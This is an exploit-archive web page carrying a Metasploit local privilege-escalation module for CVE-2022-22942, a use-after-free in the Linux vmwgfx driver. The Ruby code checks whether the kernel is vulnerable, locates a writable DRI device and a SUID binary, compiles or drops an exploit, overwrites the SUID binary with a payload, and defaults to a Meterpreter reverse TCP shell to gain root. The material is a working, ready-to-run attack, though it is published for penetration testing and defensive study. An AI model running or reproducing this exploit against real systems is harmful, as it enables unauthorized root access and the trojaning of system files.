what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

vmwgfx Driver File Descriptor Handling Privilege Escalation

vmwgfx Driver File Descriptor Handling Privilege Escalation
Posted Feb 1, 2023
Authored by h00die, Mathias Krause | Site metasploit.com

If the vmwgfx driver fails to copy the fence_rep object to userland, it tries to recover by deallocating the (already populated) file descriptor. This is wrong, as the fd gets released via put_unused_fd() which shouldn't be used, as the fd table slot was already populated via the previous call to fd_install(). This leaves userland with a valid fd table entry pointing to a freed file object. The authors use this bug to overwrite a SUID binary with their payload and gain root. Linux kernel versions 4.14-rc1 - 5.17-rc1 are vulnerable. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

tags | exploit, kernel, root
systems | linux, ubuntu
advisories | CVE-2022-22942
SHA-256 | 6360a81de99a383330c5955ece5414f2f3b254143f1a5b9246e669769aa929fc

vmwgfx Driver File Descriptor Handling Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
'Description' => %q{
If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
recover by deallocating the (already populated) file descriptor. This is
wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
as the fd table slot was already populated via the previous call to
fd_install(). This leaves userland with a valid fd table entry pointing to
a free'd 'file' object.

We use this bug to overwrite a SUID binary with our payload and gain root.
Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Mathias Krause' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
[ 'CVE', '2022-22942' ]
],
'DisclosureDate' => '2022-01-28',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
},
'Notes' => {
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [REPEATABLE_SESSION],
# seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
end

vprint_good "Kernel version #{release} appears to be vulnerable"

@driver = nil

if writable?('/dev/dri/card0') # ubuntu, RHEL
@driver = '/dev/dri/card0'
elsif writable?('/dev/dri/renderD128') # debian
@driver = '/dev/dri/renderD128'
else
return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
end
vprint_good("#{@driver} found writable")

@suid_target = nil
if setuid?('/bin/chfn') # ubuntu
@suid_target = '/bin/chfn'
elsif writable?('/bin/chage') # RHEL/Centos
@suid_target = '/bin/chage'
else
return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
end
vprint_good("#{@suid_target} suid binary found")

if kernel_modules&.include?('vmwgfx')
return CheckCode::Appears('vmwgfx installed')
end

CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
end

def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# backup the suid binary before we overwrite it
@suid_backup = read_file(@suid_target)
path = store_loot(
@suid_target,
'application/octet-stream',
rhost,
@suid_backup,
@suid_target
)
print_good("Original #{@suid_target} backed up to #{path}")
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload

upload_and_compile executable_path, strip_comments(c_code)
register_files_for_cleanup(executable_path)
else
unless @suid_target == '/bin/chfn'
fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
end
vprint_status 'Dropping pre-compiled exploit on system...'
payload_path = '/tmp/.aYd3GAMlK'
upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
end

# Upload payload executable
print_status("Uploading payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_files_for_cleanup(generate_payload_exe)

print_status 'Launching exploit...'
output = cmd_exec executable_path, nil, 30
output.each_line { |line| vprint_status line.chomp }
end

def cleanup
if @suid_backup.nil?
print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
else
print_status("Replacing trojaned #{@suid_target} with original")
write_file(@suid_target, @suid_backup)
end
super
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close